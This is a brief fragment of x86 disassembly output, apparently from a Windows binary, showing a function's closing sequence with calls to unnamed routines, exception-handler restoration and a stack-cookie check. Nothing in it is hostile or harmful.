call fcn.00462f80
mov edx, eax
lea ecx, [ebp - 0x2b8]
call fcn.00440070
lea edx, [ebp - 0x1f8]
mov ecx, eax
call fcn.0043b370
push eax
call fcn.0043f550
add esp, 0x10
lea ecx, [ebp - 0x2b8]
call fcn.0043b1e0
lea ecx, [ebp - 0x2b8]
call fcn.00411260
lea ecx, [ebp - 0x194]
call fcn.00407990
lea ecx, [ebp - 0x14c]
call fcn.00407990
lea ecx, [ebp - 0x208]
call fcn.004076e0
lea ecx, [ebp - 0x1ac]
call fcn.00407990
lea ecx, [ebp - 0x1f8]
call fcn.004076e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00474416
mov esp, ebp
pop ebp
ret
call fcn.004d274f
call fcn.004d274f
int3